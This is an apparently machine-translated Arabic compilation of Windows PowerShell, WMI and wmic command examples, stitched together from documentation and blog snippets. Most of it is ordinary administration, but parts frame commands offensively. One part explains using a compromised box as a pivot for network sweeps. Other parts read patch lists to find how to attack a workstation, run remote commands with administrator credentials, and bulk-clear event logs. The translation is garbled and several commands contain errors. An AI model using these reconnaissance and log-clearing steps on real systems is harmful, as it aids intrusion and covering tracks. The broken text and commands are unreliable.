يحصل هذا الأمر الأحداث في سجل أحداث التطبيق حيث يكون المصدر أوتلوك و معرف الحدث هو 34. على الرغم من أن كمدليت لا يحتوي على معلمة إيفنتيد، يمكنك استخدام كمدليت كائن أين لتحديد كائن بناء على قيمة أي حدث خاصية.
مثال 10:احصل على الأحداث في سجل الأحداث، مجمعة حسب خاصية
Get-EventLog -Log System -UserName "NT*" | Group-Object -Property "UserName" -noelement | Format-Table Count, Name -Auto
يعيد أمره الأحداث في سجل النظام مجمعة حسب قيمة الخاصية أوزرنام. يستخدم هذا الأمر المعلمة أوزرنام للحصول فقط الأحداث التي يبدأ اسم المستخدم مع نت *.
الحصول على كافة الأخطاء في سجل الأحداث التي حدثت خلال إطار زمني محدد
$May31 = Get-Date 5/31/08
$July1 = Get-Date 7/01/08
Get-EventLog -Log "Windows PowerShell" -EntryType Error -After $May31 -before $July1
مسح أنواع سجلات أحداث معينة من الكمبيوتر المحلي
Clear-EventLog "Windows PowerShell"
مسح أنواع سجلات متعددة محددة من أجهزة الكمبيوتر المحلية والبعيدة
Clear-EventLog -LogName "ODiag", "OSession" -ComputerName "localhost", "Server02"
يقوم أمره بمسح كافة الإدخالات في سجلات ميكروسوفت أوفيس دياغنوستيكش (أودياغ) و ميكروسوفت أوفيس سيسيونس (أوسيسيون) على الكمبيوتر المحلي والكمبيوتر البعيد Server02.
مسح كافة السجلات على أجهزة الكمبيوتر المحددة ثم عرض قائمة سجل الأحداث
function Clear-All-Event-Logs ($ComputerName="localhost")
{
$Logs = Get-EventLog -ComputerName $ComputerName -List | ForEach {$_.Log}
$Logs | ForEach {Clear-EventLog -Comp $ComputerName -Log $_ }
Get-EventLog -ComputerName $ComputerName -List
}
Clear-All-Event-Logs -Comp "Server01"
***************************************************************************************************************
تعمل فقط على سجلات الأحداث الكلاسيكية. للحصول على أحداث من السجلات التي تستخدم تقنية سجل أحداث ويندوز في نظام التشغيل ويندوز فيستا والإصدارات الأحدث من نظام التشغيل ويندوز
Write-EventLog -LogName "Application" -Source "MyApp" -EventID 3001 -EntryType Information -Message "MyApp added a user-requested feature to the display." -Category 1 -RawData 10,20
كتابة حدث إلى سجل أحداث التطبيق من كمبيوتر بعيد
Write-EventLog -ComputerName "Server01" -LogName Application -Source "MyApp" -EventID 3001 -Message "MyApp added a user-requested feature to the display."
الاحتفاظ بسجل أحداث لمدة محددة
Limit-EventLog -LogName Security -ComputerName "Server01", "Server02" -RetentionDays 7
يضمن هذا الأمر الاحتفاظ الأحداث في سجل الأمان على أجهزة الكمبيوتر Server01 و Server02 لمدة 7 أيام على الأقل
$Logs = Get-EventLog -List | ForEach {$_.log}
Limit-EventLog -OverflowAction OverwriteOlder -LogName $Logs
Get-EventLog -List
عرض سجلات الأحداث للكمبيوتر المحلي
Show-EventLog
يفتح هذا الأمر عارض الأحداث ويعرض فيه سجلات الأحداث الكلاسيكية على الكمبيوتر المحلي.
عرض سجلات الأحداث لجهاز كمبيوتر بعيد
Show-EventLog -ComputerName "Server01"
تعمل فقط على سجلات الأحداث الكلاسيكية. للحصول على أحداث من السجلات التي تستخدم تقنية سجل أحداث ويندوز في نظام التشغيل ويندوز فيستا والإصدارات الأحدث من نظام التشغيل ويندوز، استخدم كمدليت جيت-وينيفنت.
أمثلةإنشاء سجل أحداث وتسجيل مصدره
New-EventLog -Source "TestApp" -LogName "TestLog" -MessageResourceFile "C:\Test\TestApp.dll"
يقوم هذا الأمر بإنشاء سجل أحداث تيستلوغ على الكمبيوتر المحلي ويسجل مصدر جديد لذلك.
إضافة مصدر حدث إلى سجل التطبيق
$file = "C:\Program Files\TestApps\NewTestApp.dll"
New-EventLog -ComputerName "Server01" -Source "NewTestApp" -LogName "Application" -MessageResourceFile $file -CategoryResourceFile $file
إزالة سجل أحداث من الكمبيوتر المحلي
Remove-EventLog -LogName "MyLog"
يؤدي هذا الأمر إلى حذف سجل أحداث ميلوغ من الكمبيوتر المحلي وإلغاء تسجيل مصادر الحدث.
إزالة سجل أحداث من عدة أجهزة كمبيوتر
Remove-EventLog -LogName "MyLog", "TestLog" -ComputerName "Server01", "Server02", "localhost"
يؤدي هذا الأمر إلى حذف سجلات أحداث ميلوغ و تيستلوغ من الكمبيوتر المحلي و Server01 و Server02 أجهزة الكمبيوتر البعيدة. يقوم الأمر أيضا بإلغاء تسجيل مصادر الحدث لهذه السجلات.
حذف مصدر الحدث
Remove-EventLog -Source "MyApp"
يسرد الأمر الأول سجلات الأحداث على الكمبيوتر المحلي.
Get-EventLog -List
يقوم الأمر الثاني بحذف سجل أحداث زابلوغ.
Remove-EventLog -LogName "ZapLog"
تظهر هذه الأوامر كيفية إدراج سجلات الأحداث على جهاز كمبيوتر وتحقق من نجاح الأمر ريموف-إيفنتلوغ.
إزالة مصدر حدث وتأكيد الإجراء
Get-WmiObject win32_nteventlogfile -Filter "logfilename='TestLog'" | foreach {$_.sources}
Remove-Eventlog -Source "MyApp"
Get-WmiObject win32_nteventlogfile -Filter "logfilename='TestLog'"} | foreach {$_.sources}
لحصول على العمليات على الكمبيوتر المحلي
Get-WmiObject -Class Win32_Process
******************************************************************************************************************
هذا الأمر الحصول على العمليات على الكمبيوتر المحلي.
يحصل على خدمات على كمبيوتر بعيد
Get-WmiObject -Class Win32_Service -ComputerName 127.0.0.1
********************************************************************************************************************
هذا الأمر يحصل على الخدمات على جهاز كمبيوتر بعيد. يستخدم المعلمة كومبوترنام لتحديد عنوان بروتوكول إنترنت (إب)، 127.0.0.1. بشكل افتراضي، يجب أن يكون الحساب الحالي عضوا في مجموعة المسؤولين على الكمبيوتر البعيد.
الحصول على فئات ومي في الجذر أو مساحة الاسم الافتراضية للكمبيوتر المحلي
Get-WmiObject -Namespace "root/default" -List
يحصل هذا الأمر على فئات ومي في الجذر أو مساحة الاسم الافتراضية من الكمبيوتر المحلي.
الحصول على خدمة اسمه على أجهزة كمبيوتر متعددة
Get-WmiObject -Query "select * from win32_service where name='WinRM'" -ComputerName Server01, Server02 | Format-List -Property PSComputerName, Name, ExitCode, Name, ProcessID, StartMode, State, Status
إيقاف خدمة على كمبيوتر بعيد
(Get-WmiObject -Class Win32_Service -Filter "name='WinRM'" -ComputerName Server01).StopService()
هذا الأمر إيقاف خدمة وينرم على الكمبيوتر البعيد Server01. يستخدم الأمر الأمر جيت-وميوبجيكت للحصول على خدمة وينرم على Server01. ثم استدعاء الأسلوب
Get-WmiObject -Class Win32_Bios | Format-List -Property
الحصول على الخدمات على جهاز كمبيوتر بعيد
Get-WmiObject Win32_Service -Credential FABRIKAM\administrator -Computer Fabrikam
قم بإدراج الترتيب المطلوب من كائنات ومي
([wmiclass]'Win32_Volume').GetMethodParameters('Format')
إعادة تسمية ملف
Invoke-WmiMethod -Path "CIM_DataFile.Name='C:\scripts\test.txt'" -Name Rename -ArgumentList "C:\scripts\test_bu.txt"
إنشاء محرك أقراص تعيينها إلى مشاركة شبكة الاتصال
New-PSDrive -Name "P" -PSProvider "FileSystem" -Root "\\Server01\Public"
إنشاء محرك أقراص مؤقت
New-PSDrive -Name MyDocs -PSProvider FileSystem -Root "C:\Documents and Settings\User01\My Documents" -Description "Maps to my My Documents folder."
إنشاء محرك أقراص لمفتاح التسجيل
New-PSDrive -Name "MyCompany" -PSProvider "Registry" -Root "HKLM:\Software\MyCompany"
إنشاء محرك أقراص شبكة اتصال معين
New-PSDrive -Name "S" -Root "\\Server01\Scripts" -Persist -PSProvider "FileSystem"
الحصول على محركات الأقراص في الدورة الحالية
Get-PSDrive
الحصول على محرك أقراص على الكمبيوتر
Get-PSDrive D
الحصول على كافة محركات الأقراص التي يتم دعمها من قبل موفر نظام الملفات ويندوز بويرشيل
Get-PSDrive -Provider FileSystem
أمره يحصل على كافة محركات الأقراص التي تدعمها مزود ويندوز بويرشيل فلزيستم. يتضمن ذلك محركات الأقراص الثابتة، الأقسام المنطقية، محركات أقراص الشبكة المعينة، ومحركات الأقراص المؤقتة التي تقوم بإنشائها باستخدام كمدليت نيو-بسدريف.
if (Get-PSDrive X -ErrorAction SilentlyContinue) {
Write-Host 'The X: drive is already in use.'
} else {
New-PSDrive -Name X -PSProvider Registry -Root HKLM:\SOFTWARE
}
قارن أنواع محركات أقراص نظام الملفات
Get-PSDrive -PSProvider FileSystem
Get-CimInstance -Class Win32_LogicalDisk
Get-CimInstance -Class Win32_NetworkConnection
الحصول على قائمة بجميع العمليات النشطة على الكمبيوتر المحلي
Get-Process
الحصول على كافة البيانات المتاحة حول عملية أو أكثر
Get-Process winword, explorer | Format-List *
الحصول على كافة العمليات مع مجموعة عمل أكبر من حجم محدد
Get-Process | Where-Object {$_.WorkingSet -gt 20000000}
قائمة العمليات على الكمبيوتر في مجموعات على أساس الأولوية
$A = Get-Process PS C:\> Get-Process -InputObject $A | Format-Table -View priority
إضافة خاصية إلى عرض إخراج جيت-بروسيس القياسي
Get-Process pwsh |
ft @{Label = "NPM(K)"; Expression = {[int]($_.NPM / 1024)}},
@{Label = "PM(K)"; Expression = {[int]($_.PM / 1024)}},
@{Label = "WS(K)"; Expression = {[int]($_.WS / 1024)}},
@{Label = "VM(M)"; Expression = {[int]($_.VM / 1MB)}},
@{Label = "CPU(s)"; Expression = {if ($_.CPU) {$_.CPU.ToString("N")}}},
Id, MachineName, ProcessName -Auto
الحصول على معلومات الإصدار لعملية
Get-Process powershell -FileVersionInfo
الحصول على وحدات محملة مع العملية المحددة
Get-Process SQL* -Module
لتشغيل هذا الأمر على نظام التشغيل ويندوز فيستا والإصدارات الأحدث من ويندوز مع العمليات التي لا تملكها، يجب بدء تشغيل ويندوز بويرشيل مع الخيار تشغيل كمسؤول.ابحث عن مالك العملية
Get-Process pwsh -IncludeUserName
استخدام متغير تلقائي لتحديد عملية استضافة الدورة الحالية
Get-Process pwsh
Get-Process -Id $PID
الحصول على كافة العمليات التي لها عنوان نافذة رئيسية وعرضها في جدول
Get-Process | where {$_.mainWindowTitle} | Format-Table id, name, mainwindowtitle -autosize
إرفاق مصحح أخطاء إلى عملية على الكمبيوتر
Debug-Process -Name "Windows Powershell"
يعلق هذا الأمر مصحح الأخطاء على عملية ويندوز بويرشيل على الكمبيوتر.
إرفاق مصحح الأخطاء على كافة العمليات التي تبدأ مع سلسلة محددة
Debug-Process -Name "SQL*"
يعلق هذا الأمر مصحح الأخطاء على كافة العمليات التي تحتوي على أسماء تبدأ ب سكل.
إرفاق مصحح أخطاء لعدة عمليات
Debug-Process "Winlogon", "Explorer", "Outlook"
______________________________________________________________________^^^^^^^^^^^^^^^^^^^^^
يعلق هذا الأمر مصحح الأخطاء على عمليات وينلوغون إكسبلورر و أوتلوك.
إرفاق مصحح أخطاء لمعرفات معالجة متعددة
Debug-Process -Id 1132, 2028
ستخدام جيت-بروسيس للحصول على عملية ثم إرفاق مصحح أخطاء عليه
Get-Process "Windows PowerShell" | Debug-Process
إرفاق مصحح الأخطاء إلى العملية المحددة على أجهزة كمبيوتر متعددة
Get-Process -ComputerName "Server01", "Server02" -Name "MyApp" | Debug-Process
إرفاق مصحح أخطاء إلى عملية يستخدم معلمة إنبتوبوبجيكت
$P = Get-Process "Windows PowerShell"
Debug-Process -InputObject $P
الاشتراك في الأحداث التي تم إنشاؤها من قبل فئة
Register-WmiEvent -Class 'Win32_ProcessStartTrace' -SourceIdentifier "ProcessStarted"
الاشتراك في أحداث إنشاء لعملية
Register-WmiEvent -Auery "select * from __instancecreationevent within 5 where targetinstance isa 'win32_process'" -SourceIdentifier "WMIProcess" -MessageData "Test 01" -TimeOut 500
سجل للأحداث على كمبيوتر بعيد
Register-WmiEvent -Class 'Win32_ProcessStartTrace' -SourceIdentifier "Start" -Computername Server01
Get-Event -SourceIdentifier "Start"
حل المسار الحالي
Resolve-Path ~
حل مسار مجلد ويندوز
Resolve-Path -Path "windows"
الحصول على كافة المسارات في مجلد ويندوز
"C:\windows\*" | Resolve-Path
*************************************************************************************************************************
حل مسار ونك
Resolve-Path -Path "\\Server01\public"
الحصول على مسارات نسبية
Resolve-Path -Path "c:\prog*" -Relative
هذا الأمر بإرجاع المسارات النسبية الدلائل في جذر محرك الأقراص C:.
حل مسار يحتوي على بين قوسين
Resolve-Path -LiteralPath 'test[xml]'
الحصول على جميع الخدمات على جهاز الكمبيوتر
Get-Service
الحصول على الخدمات التي تبدأ بسلسلة بحث
Get-Service "wmi*"
عرض الخدمات التي تتضمن سلسلة البحث
Get-Service -Displayname "*network*"
لحصول على الخدمات التي تبدأ بسلسلة البحث والاستبعاد
Get-Service -Name "win*" -Exclude "WinRM"
عرض الخدمات النشطة حاليا
Get-Service | Where-Object {$_.Status -eq "Running"}
قائمة الخدمات على جهاز الكمبيوتر الذي يحتوي على خدمات تابعة
Get-Service | Where-Object {$_.DependentServices} | Format-List -Property Name, DependentServices, @{Label="NoOfDependentServices"; Expression={$_.dependentservices.count}}
ترتيب الخدمات حسب قيمة الخاصية
Get-Service "s*" | Sort-Object status
Get-Service "s*" | Sort-Object status -Descending
الحصول على الخدمات التابعة للخدمة
Get-Service "WinRM" -RequiredServices
الحصول على الخدمة من خلال مشغل خط أنابيب
"WinRM" | Get-Service
تغيير اسم العرض
Set-Service -Name "lanmanworkstation" -DisplayName "LanMan Workstation"
تغيير نوع بدء التشغيل من الخدمات
Get-WMIObject win32_service -Filter "name = 'SysmonLog'"
Set-Service -Name "sysmonlog" -StartupType automatic
Get-WMIObject win32_service -Filter "name = 'SysmonLog'"
Get-WMIObject win32_service | Format-Table Name, StartMode -auto
تغيير وصف الخدمة
Set-Service -Name "Schedule" -Description "Configures and schedules tasks."
Get-WMIObject win32_service | Where-Object {$_.Name -eq "Schedule"} | Format-List Name, Description
يقوم مشغل خط أنابيب آخر بإرسال النتيجة إلى كمدليت فورمات-ليست الذي يقوم بتنسيق الإخراج كقائمة تحتوي على خصائص الاسم والوصف فقط.
Set-Service -Name "winrm" -Status Running -PassThru
هو أمر يعلق خدمة الجدول. ويستخدم الحصول على الخدمة للحصول على الخدمة. يقوم مشغل خط أنابيب (|) بإرسال الخدمة إلى سيت-سيرفيس، الذي يغير حالته إلى بوسد
$s = Get-Service -Name "schedule"
Set-Service -InputObject $s -Status stopped
الأمر الثاني بتغيير حالة خدمة جدولة إلى إيقاف. يستخدم المعلمة إنبتوبجيكت لإرسال الخدمة المخزنة في المتغير $ s، ويستخدم المعلمة ستاتوس لتحديد الحالة المطلوبة.
$credential = Get-Credential
Set-Service -Name "schedule" -Credential $credential
تعيين مستوى تسجيل ومي
Set-WmiInstance -Class Win32_WMISetting -Argument @{LoggingLevel=2}
**************************************************************************************************
إنشاء متغير بيئة وقيمته
Set-WmiInstance -Class win32_environment -Argument @{Name="testvar";VariableValue="testvalue";UserName="<SYSTEM>"}
تعيين مستوى تسجيل ومي لعدة أجهزة كمبيوتر عن بعد
Set-WmiInstance -Class Win32_WMISetting -Argument @{LoggingLevel=2} -Computername "system01", "system02", "system03"
يحصل على الإصلاحات العاجلة التي تم تطبيقها على أجهزة الكمبيوتر المحلية والبعيدة.
Get-HotFix
***********************************************************************************
هذا الأمر يحصل على كافة الإصلاحات العاجلة على الكمبيوتر المحلي.
الحصول على كافة الإصلاحات العاجلة على أجهزة كمبيوتر متعددة تبدأ بسلسلة بحث
Get-HotFix -Description "Security*" -ComputerName "Server01", "Server02" -Cred "Server01\admin01"
**************************************************************************************
إنشاء ملف نصي يحتوي على أسماء الكمبيوتر التي تفتقد إلى تحديث أمني
$A = Get-Content "servers.txt"
$A | ForEach { if (!(Get-HotFix -Id "KB957095" -ComputerName $_)) { Add-Content $_ -Path "Missing-kb953631.txt" }}
*************************************************************************************************************************
الحصول على أحدث الإصلاحات العاجلة على الكمبيوتر المحلي
(Get-HotFix | sort installedon)[-1]
****************************************************************************************************************
إرسال طلبات صدى إلى كمبيوتر بعيد
Test-Connection "Server01"
***************************************************************
إرسال طلبات صدى إلى العديد من أجهزة الكمبيوتر
Test-Connection -ComputerName "Server01", "Server02", "Server12"
أمره يرسل بينغ من الكمبيوتر المحلي إلى العديد من أجهزة الكمبيوتر عن بعد.
إرسال طلبات صدى من عدة أجهزة كمبيوتر إلى جهاز كمبيوتر
Test-Connection -Source "Server02", "Server12", "localhost" -ComputerName "Server01" -Credential Domain01\Admin01
يرسل هذا الأمر بينغ من أجهزة الكمبيوتر المصدر المختلفة إلى جهاز كمبيوتر بعيد واحد، Server01. يستخدم المعلمة كريدنتيال لتحديد بيانات اعتماد المستخدم الذي لديه إذن بإرسال طلب بينغ من أجهزة الكمبيوتر المصدر. استخدم تنسيق الأوامر هذا لاختبار زمن اتصال الاتصالات من نقاط متعددة.
Test-Connection -ComputerName "Server01" -Count 3 -Delay 2 -TTL 255 -BufferSize 256 -ThrottleLimit 32
تشغيل اختبار كمهمة خلفية
$job = Test-Connection -ComputerName (Get-Content "Servers.txt") -AsJob
if ($job.JobStateInfo.State -ne "Running") {$Results = Receive-Job $job}
بينغ كمبيوتر بعيد مع بيانات الاعتماد
Test-Connection "Server55" -Credential Domain55\User01 -Impersonation Identify
إنشاء جلسة عمل فقط إذا نجح اختبار الاتصال
if (Test-Connection -ComputerName "Server01" -Quiet) {New-PSSession Server01}
يستخدم الأمر معلمات الانتظار، و، و مهلة لتحديد شروط الانتظار. يستخدم المعلمة ديلاي لتقليل الفاصل الزمني بين الاستعلامات إلى الكمبيوتر البعيد الذي يحدد ما إذا كان يتم إعادة تشغيل.
إعادة تشغيل جهاز كمبيوتر باستخدام وسمان
Restart-Computer -ComputerName "Server01" -Protocol WSMan -WSManAuthentication Kerberos
****************************************************************
Restart-Computer
يؤدي هذا المثال إلى إعادة تشغيل فوري لكافة أجهزة الكمبيوتر في النطاق 101.
إعادة تشغيل جهاز كمبيوتر بعيد وانتظر
Restart-Computer -ComputerName "Server01" -Wait -For PowerShell -Timeout 300 -Delay 2
يستخدم الأمر الأول كمدليت جيت-كونتنت للحصول على قائمة بأجهزة الكمبيوتر في المجال من ملف Domain01.txt. يقوم بتخزين القائمة في المتغير $ s.
$s = Get-Content Domain01.txt
$c = Get-Credential Domain01\Admin01
يقوم الأمر الثالث بإعادة تشغيل أجهزة الكمبيوتر. ويستخدم المعلمة * كومبوترنام * لتقديم قائمة أجهزة الكمبيوتر في المتغير $ s، و *
Restart-Computer -ComputerName $s -Force -ThrottleLimit 10 -Credential $c
يؤدي هذا الأمر إلى إيقاف الكمبيوتر البعيد Server01. يستخدم الأمر إعدادات انتحال الهوية والمصادقة المخصصة.
$s = Get-Content Domain01.txt
$c = Get-Credential domain01\admin01
Stop-Computer -ComputerName $s -Force -ThrottleLimit 10 -Credential $c
إيقاف تشغيل كمبيوتر بعيد
Stop-Computer -CompupterName "Server01" -Impersonation anonymous -Authentication PacketIntegrity
*********************************************************************
إضافة كمبيوتر محلي إلى مجال ثم قم بإعادة تشغيل جهاز الكمبيوتر
Add-Computer -DomainName "Domain01" -Restart
إضافة كمبيوتر محلي إلى مجموعة عمل
Add-Computer -WorkGroupName "WORKGROUP-A"
ضافة كمبيوتر محلي إلى نطاق
Add-Computer -DomainName "Domain01" -Server "Domain01\DC01" -Passthru -Verbose
إضافة أجهزة كمبيوتر مدرجة في ملف إلى نطاق جديد
Add-Computer -ComputerName (Get-Content Servers.txt) -Domain "Domain02" -Credential Domain02\Admin02 -Options Win9xUpgrade -Restart
اختبار قناة بين الكمبيوتر المحلي ونطاقه
Test-ComputerSecureChannel
يختبر أمره القناة بين الكمبيوتر المحلي والمجال الذي انضم إليه.
اختبار قناة بين الكمبيوتر المحلي وحدة تحكم مجال
Test-ComputerSecureChannel -Server "DCName.fabrikam.com"
يحدد هذا الأمر وحدة تحكم مجال مفضلة للاختبار.
إعادة تعيين القناة بين الكمبيوتر المحلي ونطاقه
Test-ComputerSecureChannel -Repair
يقوم الأمر بإعادة تعيين القناة بين الكمبيوتر المحلي ونطاقه.
عرض معلومات مفصلة عن الاختبار
Test-ComputerSecureChannel -verbose
اختبار اتصال قبل تشغيل البرنامج النصي
Set-Alias tcsc Test-ComputerSecureChannel
if (!(tcsc))
{Write-Host "Connection failed. Reconnect and retry."}
else { &(.\Get-Servers.ps1) }
================================================================>>>>>>>>>>>>>>>>>>>>
________________
يمنع المستخدمين البعيدين من تشغيل الأوامر على الكمبيوتر المحلي
Disable-PSRemoting
منع الوصول عن بعد إلى كافة تكوينات جلسة دون تأكيد موجه
Disable-PSRemoting -Force
احصل على بيانات عداد الأداء كمهمة خلفية
Start-Job -ScriptBlock {Get-Counter -Counter "\LogicalDisk(_Total)\% Free Space" -MaxSamples 1000}
لمخاطر الأمنية للتشغيل عن بعد. إذا تم اختراق الكمبيوتر البعيد، عند تمرير بيانات الاعتماد إليه، يمكن استخدام بيانات الاعتماد للتحكم في جلسة عمل الشبكة.
Disable-WSManCredSSP -Role Client
Disable-WSManCredSSP -Role Server
تفويض أوراق اعتماد العميل إلى أجهزة كمبيوتر متعددة
Enable-WSManCredSSP -Role "Client" -DelegateComputer "server02.accounting.fabrikam.com", "server03.accounting.fabrikam.com", "server04.accounting.fabrikam.com"
لسماح لجهاز كمبيوتر بالعمل كمفوض
Enable-WSManCredSSP -Role "Server"
_________________________________________________________
يتم إنشاء نقطة الاسترداد بسرعة كبيرة، حوالي 2 دقيقة.
Checkpoint-Computer -Description "After install drivers"
______________________
Get-ComputerRestorePoint
____________________
تحديد التصحيحات الأمنية ويندوز باستخدام وميك
wmic qfe get description,installedOn
ملاحظة: هذا ينتج قائمة طويلة من ويندوز باتشس وعندما تم تثبيتها وتصدير النتائج في ستدوت. وبهذه الطريقة تعرف بالضبط كيفية مهاجمة محطة العمل أو إجراء الإصلاح لمحطة العمل.
تحديد خدمات النوافذ
sc query type= service (running services)
sc query type= service state= inactive (exist but don't run)
sc query type= service state= all (running and not running)
تحديد برامج بدء تشغيل ويندوز
########################################################################kkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
هذه الأوامر هي الإبلاغ عن برامج البدء
wmic startup
wmic startup list full
wmic startup list brief
wmic startup list system
ملاحظة: هذه الأوامر تنتج قائمة مع جميع البرامج بدء جنبا إلى جنب مع مفاتيح التسجيل الخاصة بهم، وصف البرنامج واسم البرنامج. الخيارات المعروضة أعلاه تعطيك مخرجات مختلفة. مثيرة جدا للاهتمام عند القيام البرمجيات الخبيثة التحليل السلوكي.
wmic /node:machinename startup list full
wmic STARTUP GET Caption, Command, User
ملاحظة: سيؤدي ذلك إلى تغيير بوابة الشبكة
wmic nicconfig where index=9 call enabledhcp
ملاحظة: سيؤدي ذلك إلى تمكين دكب.
wmic service where caption="DHCP Client" call changestartmode "Disabled"
wmic service where caption="DHCP Client" call changestartmode "Automatic"
wmic service where caption="DHCP Client" call changestartmode "Manual"
ملاحظة: سيؤدي ذلك إلى تمكين دكب من تعطيل الخدمة تلقائيا أو يدويا.
wmic /node:machinename nicconfig where Index=1 call EnableDHCP
ملاحظة: تغيير إب عن بعد لاستخدام دكب
wmic /node:machinename nicconfig where Index=1 call EnableStatic ("172.16.10.10"), ("255.255.0.0")
مجموعات الأوامر أعلاه تسمح لك التعامل مع كل نوع من معالجة العملية:
wmic process
wmic process list brief
wmic process list full
wmic process list system
ملاحظة: عمليات أوامر الأوامر المذكورة أعلاه في جهاز ويندوز.
wmic /record:processes.xml process list brief
wmic /record:processes.xml process list full
wmic /record:processes.xml process list system
ملاحظة: بعد تشغيل الأمر، يتم تخزين النتائج بتنسيق شمل. هذا هو الشكل الوحيد المدعوم، ولكن هذا هو سجل مفيد من ما كتبته، عند كتابته، والنتائج التي حصلت عليها.
wmic process where name='process_name.exe'
wmic process where name='process_name.exe' list brief
wmic process where name='process_name.exe' list full
wmic process where name='process_name.exe' list system
wmic process where name='process_name.exe' delete
إيمب وشبكة دنس تجتاح
بعد الاستيلاء على مربع ويندوز يمكنك استخدامه كمحور، ولكن ماذا يحدث إذا كان مربع مقيدة ولا يمكنك تحميل أو تحميل أي أدوات؟ حسنا سوف الأوامر التالية القيام بهذه المهمة
for /L %I in (1,1,254) DO @ping -n 1 192.168.1.%I | findstr "TTL=128" >> pinglog.txt
ملاحظة: سوف يقوم تسلسل الأمر هذا بإرسال حزمة واحدة فقط والإبلاغ عن هذا الجهاز الذي يحتوي على حقل صفر بلا تل. سيتم تخزين مخرجات الحلقة في ملف يدعى pinglog.txt.
for /L %I in (1,1,254) DO @nslookup 192.168.1.%I | find "Name:" >> dnslog.txt
ملاحظة: سيقوم هذا التسلسل الأمر بإجراء بحث دنس العكسي باستخدام ملقم دنس المحلي (يمكن ملاحقة دنس خادم خارجي أيضا). سيتم تخزين الإخراج في ملف سجل يسمى dnslog.txt
pathping targethost (for a single host only)
for /L %I in (1,1,254) DO @pingpath -n 192.168.1.%I >> traceping.txt
ملاحظة: يجمع هذا الأمر بين وظائف بينغ و تراسرت. سوف باثبينغ أولا قائمة عدد من القفزات المطلوبة للوصول إلى العنوان الذي يتم اختبار ثم إرسال عدة بينغ لكل جهاز التوجيه بينك وبين الوجهة. بعد ذلك، فإنه يحسب النتائج على أساس حزم عاد من كل جهاز التوجيه. ونظرا لأن درجة المسير تعرض درجة فقدان الرزم في أي موجه أو وصلة معينة، يمكنك تحديد الموجهات أو الشبكات الفرعية التي قد تواجه مشكلات في الشبكة. لاحظ أن العملية برمتها قد تستهلك 5-10 دقائق لأن العديد من بينغ يتم إرسالها. هناك مفاتيح لتعديل العملية وهذه يمكن أن ينظر إليه عن طريق إدخال "باثبينغ /؟" في موجه الأوامر. سوف تسلسل الأوامر أعلاه خريطة الشبكة بأكملها جنبا إلى جنب مع طرقها (وهذا سيكون مطول).
for /L %I in (1,1,254) DO @echo -Route: %I- >> trace.txt & @pathping -n 1 192.168.1.%I >> trace.txt
ملاحظة: هذا سوف تفعل توجيه تتبع بسيط من الشبكة المحلية بأكملها.
ويندوز اتصال اتصال الشبكة
التعامل مع مستخدمي ويندوز
تعرض الأمثلة التالية قائمة بجميع حسابات المستخدمين للكمبيوتر المحلي (بعض الأوامر تفعل ذلك جنبا إلى جنب مع غيرها من المعلومات المفيدة):
net user
wmic useraccount
wmic useraccount list brief
يعرض المثال التالي معلومات حول حساب المستخدم سوميوسر:
net user someuser
wmic service list brief
netsh int ip delete arpcache
تدقيق السياسات الأمنية
ينطبق على: ويندوز 7 و ويندوز سيرفر 2008 و ويندوز سيرفر 2008 R2 و ويندوز فيستا يعرض معلومات حول ويؤدي وظائف لمعالجة سياسات التدقيق. للحصول على أمثلة حول كيفية استخدام هذا الأمر راجع قسم الأمثلة في كل موضوع.
Auditpol /get /user:{S-1-5-21-1443922412-3030960370-963420232-51} /category:"System","Detailed Tracking","Object Access"
_____________________
دعونا نلقي نظرة على بعض الاستخدام المثال. للتعرف على الأسماء المستعارة المتاحة، افتح موجه الأوامر واكتب:
wmic alias list brief
بيانات الاعتماد المقدمة
wmic volume list brief
على سبيل المثال، استعلام يقوم فقط بإرجاع مثيلات Win32_process التي تطابق اسم إميت:
wmic process where "name ='notepad.exe'"
wmic process where "name like '%notepad%'"
وميك هو عالم في حد ذاته، معقدة للغاية، وقادرة على قراءة عدة آلاف من الإعدادات على صندوق ويندوز، وتحديث المئات، مرة أخرى على حد سواء محليا وبعد. وهو يتضمن لغة الاستعلام الخاصة بها، يسمى وقل، ل ومي الاستعلام اللغة، مجموعة فرعية من أنسي سكل.
ولكن بونتيفيكاتينغ بما فيه الكفاية! دعونا الحصول على التدريب العملي على. وهنا بعض الأشياء متعة يمكنك القيام به مع وميك التي خدمتنا بشكل جيد للغاية في البحث مكافحة التجسس لدينا:
wmic process [pid] delete
أو، أفضل من ذلك، حاول هذا واحد على لحجم:
wmic process where name='cmd.exe' delete
يتيح لك قتل العمليات بالاسم.
wmic process list brief /every:1
wmic useraccount
تحصل على أسماء المستخدمين
wmic qfe
wmic /?
wmic startup list full
ن يعمل قليلا مثل لينكس "بس -
wmic /?:full > wmic_docs_that_stink.txt
wmic /output:c:\os.html os get /format:hform
عد ذلك، افتح c: \ os.html في المتصفح، وانقع في هذا الإخراج الجميل. Ooooohhhh. Ahhhhhhh.
للحصول على قائمة أنواع التنسيق التي تدعمها وميك، يمكنك كتابة
wmic [stuff to do] /format /?
wmic process list /format /?
التحديث السابع:
wmic /record:test.xml process list brief
التحديث 8:
قارئ آخر، رغبة عدم الكشف عن هويته، يتحدث عن خيارات تكوين واجهة الشبكة التي تقدمها وميك، مثل:
wmic nicconfig where IPEnabled='true'
هذا سوف تعطيك قائمة من واجهات إب.
أو، لتغيير عنوان إب في سطر الأوامر، يمكنك
wmic nicconfig where Index=1 call EnableStatic ("10.10.10.10"), ("255.255.255.0")
بالنسبة إلى دكب، يمكنك إجراء ذلك:
wmic nicconfig where Index=1 call EnableDHCP
آخر الذي يريد عدم الكشف عن هويته.
netsh /?
wmic process get processid,commandline
wmic process where "name like '%chrome%'" get processid,commandline
sc query type= service
برامج بدء التشغيل
wmic startup list brief
وميك تنفيذ الأوامر عن بعد:
wmic /node:10.0.0.1 /user:Administrator process call create "cmd.exe /c calc.exe"
==================================
wmic process list full | more ====
wmic process list full > output.txt ====
==================================
إذا كان لديك لاستخدام وميك، مما يمكنك الإختراق في طريقك من خلال خلط نتائج
Get-WmiObject -Class Win32_Process |
Select-Object Name, @{
Name = 'Owner'
Expression = {
$_.GetOwner().User
}
}
______
wmic process get Name
للحصول على أصحاب كافة عمليات taskeng.exe (عمليات جدولة المهام ويندوز المهام الفردية):
wmic process where "name='taskeng.exe'" call GetOwner
_______________________
WINDOWZ > CMD > PowerShell
تاسكيل: يستخدم هذا الأمر لإنهاء العملية أو قتل أي عملية قيد التشغيل في النظام الخاص بك. اكتب قائمة المهام لإدراج كل العملية قيد التشغيل على النظام.
اكتب الأمر التالي لقتل عملية المفكرة من العملية
